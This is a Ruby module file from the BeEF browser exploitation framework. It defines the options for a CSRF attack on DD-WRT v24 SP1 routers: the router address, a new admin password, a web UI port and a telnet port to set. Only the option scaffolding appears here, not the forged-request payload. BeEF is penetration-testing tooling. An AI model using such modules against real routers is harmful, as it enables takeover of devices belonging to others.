#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Ddwrt_v24_sp1_csrf < BeEF::Core::Command

    def self.options
      return [
        {
          'name' => 'host',
          'ui_label' => 'Router web root',
          'value' => 'http://192.168.1.1/'
        },
        {
          'name' => 'password',
          'ui_label' => 'Desired password',
          'value' => '__BeEF__'
        },
        {
          'name' => 'port',
          'ui_label' => 'Desired web ui port',
          'value' => '8080'
        },
        {
          'name' => 'telnet',
          'ui_label' => 'Desired telnet port',
          'value' => '23'
        }
      ]
    end

    def post_execute
      save('result' => @datastore['result'])
    end

end
